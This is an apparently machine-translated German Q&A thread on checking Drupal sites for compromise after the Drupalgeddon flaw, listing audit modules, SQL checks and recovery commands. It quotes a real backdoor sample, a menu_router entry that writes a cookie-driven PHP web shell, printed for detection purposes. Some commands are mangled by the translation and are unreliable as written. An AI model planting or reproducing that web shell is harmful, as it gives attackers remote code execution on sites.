Drupal SA-CORE-2014-005 - Wie kann ich feststellen, ob meine Server / Websites kompromittiert wurden?

Ich habe gerade alle meine Websites mit der Patch-Methode aktualisiert, mit der der Drupal SA-CORE-2014-005-Exploit behoben wurde. Ich habe gerade Berichte gelesen, dass es erst gestern jemanden von einer russischen IP gibt, der Drupal-Sites infiltriert.

https://www.drupal.org/SA-CORE-2014-005

Meine Hauptanliegen sind jetzt:

• Woran erkenne ich, ob meine Websites zusammengefasst wurden?
• Nach was soll ich in meinen Apache-Zugriffsprotokollen suchen, um festzustellen, ob meine Site ein Opfer war oder nicht?
• Was machen diese Hacker bisher mit zusammengesetzten Sites?

Im Folgenden finden Sie einige SQL-Abfragen, die für Ihre Site-DBs ausgeführt werden können, um nach Benutzern mit Administratorrechten zu suchen, und die nach dem 15. Oktober auf die Site zugegriffen haben.

http://www.drupalden.co.uk/sql-queries-find-users-roles-admin-privileges-drupalgeddon-drupal-sa-core-2014-005

Wenn Sie diesen Artikel lesen und hoffen, mehr als einen Monat nach dem Exploit eine Drupal 7-Site zu überprüfen, wurde Ihre Site höchstwahrscheinlich bereits gehackt . Am besten stellen Sie ein Backup von vor Beginn der Angriffe wieder her und arbeiten von dort aus.

Es gibt eine FAQ zu SA-CORE-2014-005 .

Wie kann ich feststellen, ob meine Websites kompromittiert wurden?

Mit dem Befehl Drupalgeddon drush können Sie schnell überprüfen, ob Websites gefährdet sind.

• https://www.drupal.org/project/drupalgeddon

Installieren Sie zu Ihrem ~/.drushmitdrush dl drupalgeddon

Dann drush drupalgeddon-testzum Testen verwenden. Drush Aliase machen dies einfach und schnell.

Dieses Tool kann eine ausgenutzte Site bestätigen, kann jedoch nicht garantieren, dass Ihre Site nicht ausgenutzt wurde. Es gibt hier kein "sauberes Gesundheitszeugnis", es sei denn, Sie haben vor Beginn der Angriffe ein Upgrade durchgeführt.

Das Site Audit-Modul enthält einige der Überprüfungen von Drupalgeddon und bietet Ihnen auch viel nützlichere Informationen. Ich empfehle es sehr. (EDIT: Jetzt arbeiten sie zusammen - super nett!)

• http://drupal.org/project/site_audit

Security Review sucht nicht nach Drupalgeddon-Angriffen, ist aber auch eine Reise wert.

• http://drupal.org/project/security_review

Wenn Ihre Site-Codebasis für den WWW-Benutzer schreibbar war, können Sie mithilfe des gehackten Moduls zusätzlich nach geändertem Code suchen. Dieses Modul macht möglicherweise nicht nur aufgrund seines Namens das, was Sie denken :)

• http://drupal.org/project/hacked

Zwar gibt es keine einzige sichere Möglichkeit, alle gefährdeten Websites zu identifizieren, diese Tools können Ihnen jedoch dabei helfen, die häufigsten Indikationen zu identifizieren.

Nach was soll ich in meinen Apache-Zugriffsprotokollen suchen, um festzustellen, ob meine Site ein Opfer war oder nicht?

Ihre Zugriffsprotokolle enthalten inzwischen viele POST-Anforderungen. Wenn Sie nicht den ungewöhnlichen Schritt unternommen haben, alle Post-Daten vor dem Fehler zu protokollieren, ist es unwahrscheinlich, dass Sie über die Informationen verfügen, um festzustellen, welche davon böswillig waren.

Was machen diese Hacker bisher mit kompromittierten Websites?

Viele berichten, dass ihre Websites von den Hackern gepatcht werden! Als Angreifer ist dies sinnvoll - Sie möchten nicht, dass Ihre neu entführte Site vom nächsten Angreifer unter Ihnen weggeschleudert wird :)

Abgesehen davon, würde ich vermuten, dass die Websites verwendet werden, um wertvolle Daten zu sammeln (vielleicht ein paar Creds zu holen, vielleicht die Transaktionsdetails nach dem Ausnutzen zu heben) und um langweilige Dinge wie Spam zu versenden und als bescheidene Botnet-Sklaven zu arbeiten. Oh, und erweitern Sie das Reich des Angreifers von entführten Drupal-Sites weiter. (Sorry, ich habe keine gehackten Websites zu beobachten.)

Einige Überprüfungen auf häufige Angriffe sind (dies ist keine vollständige Liste, aber einige der Angriffe, die bisher in der freien Wildbahn beobachtet wurden):

• Überprüfen Sie Ihr Konto für Benutzer 1, um sicherzustellen, dass Benutzername, E-Mail-Adresse oder Kennwort Ihren Erwartungen entsprechen. Überprüfen Sie nach Möglichkeit auch alle anderen Benutzerkonten mit hohen Berechtigungen.
• Suchen Sie nach neuen Benutzerkonten, die verdächtig aussehen.
• Überprüfen Sie, ob Änderungen an den Rollen in Ihrem System vorgenommen wurden, z. B. neue Rollen oder umbenannte Rollen.
• Auf Berechtigungsänderungen prüfen. Der wichtigste Aspekt dabei ist, sicherzustellen, dass die anonyme Benutzerrolle (oder andere Rollen, für die sich jeder anmelden kann) nicht geändert wurde, um den Zugriff zu erhöhen.
• Suchen Sie nach neuen benutzerdefinierten Blöcken, die möglicherweise schädlichen Code enthalten.
• Suchen Sie nach neuen benutzerdefinierten Knoten, die möglicherweise schädlichen Code enthalten.
• Suchen Sie in Ihrem Dateisystem nach Dateien, die nicht vorhanden sein sollten. Dies ist einfach, wenn Sie die Versionskontrolle verwenden, da Sie git status oder svn st ausführen können, um festzustellen, ob neue Dateien vorhanden sind.
• Wenn sie schädliche Dateien hochgeladen haben, können Sie in Ihren Zugriffsprotokollen nach Treffern auf unbekannte Dateinamen suchen.

• Überprüfen Sie die Datenbanktabelle Ihres Menürouters auf böswillige Einträge. Zum Beispiel (das drupalgeddon-Modul / drush-Plugin auf drupal.org hat ein gutes Skript, um diese Tabelle genauer zu prüfen):

  SELECT * FROM menu_router WHERE access_callback = 'file_put_contents';

• Sie können auch einfach in Ihrer Menü-Routertabelle nach seltsam aussehenden Einträgen suchen.

Einige Dinge, die Hacker versuchen zu tun, sind:

• Stellen Sie PHP-Skriptdateien auf Ihre Website, die Sie dann ausführen können, indem Sie sie in einem Browser aufrufen. Diese Skripte können eine Vielzahl von böswilligen Aktionen ausführen. Dies wird erreicht, indem böswillige Menüroutereinträge hinzugefügt werden.
• Erstellen Sie Admin-Benutzerkonten, mit denen sie dann schlechte Dinge an Ihrer Site tun oder Ihre Site übernehmen können.
• Ändern Sie die E-Mail-Adresse von Benutzer 1, damit er das Kennwort für dieses Konto zurücksetzen und übernehmen kann.
• Ändern Sie die Berechtigungen für öffentlich zugängliche Benutzerrollen.
• Hinzufügen von Blöcken / Knoten / etc. das kann schädlichen Code enthalten. Wenn Sie den PHP-Filter aktiviert haben, ist dies ein noch größeres Problem.

Leider kann ein Angreifer so viele Dinge an Ihrer Datenbank tun, dass es ziemlich schwierig ist, eine vollständige Liste der Möglichkeiten anzugeben. Sie könnten Dinge tun, mit denen sie versuchen, die Kontrolle über Ihre Site zu erlangen, oder sie könnten nur Ihre Site beschädigen, aber Datenbanktabellen oder -spalten usw. löschen.

Sie könnten sogar nur geringfügige Änderungen an der Site-Konfiguration vornehmen, z. B. den Namen Ihrer Site oder ähnliches, was zwar nicht das Ende der Welt darstellt, aber dennoch problematisch ist.

Grundsätzlich kann ein Angreifer theoretisch alles tun, was Sie mit einem SQL-Befehl in Ihrer Datenbank tun können.

Alle in Chris Burgess 'Antwort erwähnten Module sind sehr nützlich, um diese Dinge zu überprüfen.

Ich glaube , ich mit dem Rat drupal.org gehen würde „ Sie sollten unter der Annahme ausgehen , dass jeder Drupal 7 Website kompromittiert wurde , es sei denn aktualisiert oder gepatcht vor 15. Oktober, 11.00 Uhr UTC, die 7 Stunden nach der Ankündigung ist .“. Wie Bevan in diesem Kommentar sagte "Durch das Aktualisieren oder Patchen von Drupal werden keine Hintertüren behoben, die Angreifer vor dem Aktualisieren oder Patchen von Drupal installiert haben."

Bevan erstellte auch das folgende Arbeitsablaufdiagramm, um Sie bei der Analyse zu unterstützen, ob Sie möglicherweise infiziert wurden und wie Sie diese wiederherstellen und verhindern können . Er bittet jedoch jeden, zu seinem Originalartikel zu gehen, um sicherzustellen, dass Sie die neueste Version des Workflows haben. Außerdem verfasst Acquia einen interessanten Artikel über die Angriffe und Muster, die sie in Acquia Cloud erlebt haben

Zitat aus: https://www.drupal.org/node/2357241#comment-9258955

Dies ist ein Beispiel für die Datei, die in die Spalte access_callback der Tabelle menu_router eingefügt wird:

a:2:{i:0;s:22:"modules/image/vzoh.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

Wie Sie sehen, wird versucht, die Datei modules / image / vzoh.php zu erstellen, aber da ich nur die Berechtigungen in diesen Verzeichnissen gelesen habe, schlägt PHP fehl.

Berichte von Personen, die nach ähnlichen Dateien suchen, die bei einer Suche in Ihrem Drupal-Verzeichnis erstellt wurden: https://www.drupal.org/node/2357241#comment-9260017

Ich habe den folgenden Befehl ausgeführt:

ack --type = php 'php \ $ form'> hacked_searched_php_form1.txt

=================

Zitiert von: http://www.paulbooker.de/drupal-developer/command-lines/5-commands-help-drupalgeddon

Anzeigen von Dateien, die sich auf dem Live-Server geändert haben: Git-Status

Suchen Sie nach Codeausführungsversuchen über menu_router: Wählen Sie * aus menu_router, wobei access_callback = 'file_put_contents'

Anzeigen, welche Dateien sich auf dem Live-Server und nicht in der Versionskontrolle befinden: diff -r docroot repo | grep docroot | grep 'Nur in docroot'

Suchen von PHP-Dateien im Dateiverzeichnis: find. -path "* php"

Überprüfen Sie die Zeitspanne zwischen dem Anmelden eines Benutzers auf Ihrer Website und dem letzten Seitenaufruf: Wählen Sie (am Zeitstempel - u.Login) / 60/60/24 AS days_since_login, u.uid aus den Sitzungen aus, an denen Benutzer teilnehmen s.uid = u.uid;

Eine sehr gute Liste von Befehlen, mit denen Sie feststellen können, ob Sie kompromittiert wurden.

http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Commands that help with auditing:

Showing files that have changed on the live server:

?
1
git status 
Looking for code execution attempts via menu_router:

?
1
select * from menu_router where access_callback = 'file_put_contents'
Another possible code execution attempt via menu_router:

?
1
select * from menu_router where access_callback = 'assert';
Showing which files are on the live server and not in version control:

?
1
diff -r docroot repo | grep 'Only in docroot'
Looking for PHP files in the files directory:

?
1
find . -path "*php"
Looking for additional roles and users:

?
1
2
select * from role
select * from users_roles where rid=123
Checking the amount of time between when a user logged into your site and their most recent page visit:

?
1
select (s.timestamp - u.login) / 60 / 60 / 24 AS days_since_login, u.uid from sessions s inner join users u on s.uid = u.uid;


Commands that can help with recovery:

Apply the patch. Hotfix: (SA-CORE-2014-005)

?
1
curl https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch | patch -p1
End active sessions, i.e log everyone out.

?
1
truncate table sessions;
Updating passwords:

?
1
update users set pass = concat('XYZ', sha(concat(pass, md5(rand()))));

Sie können überprüfen, ob Ihre Website mit diesem Online-Tool gehackt wurde:

Drupal Check: Der EngineHack

Natürlich hat es seine Grenzen, aber es ist ein guter Ausgangspunkt.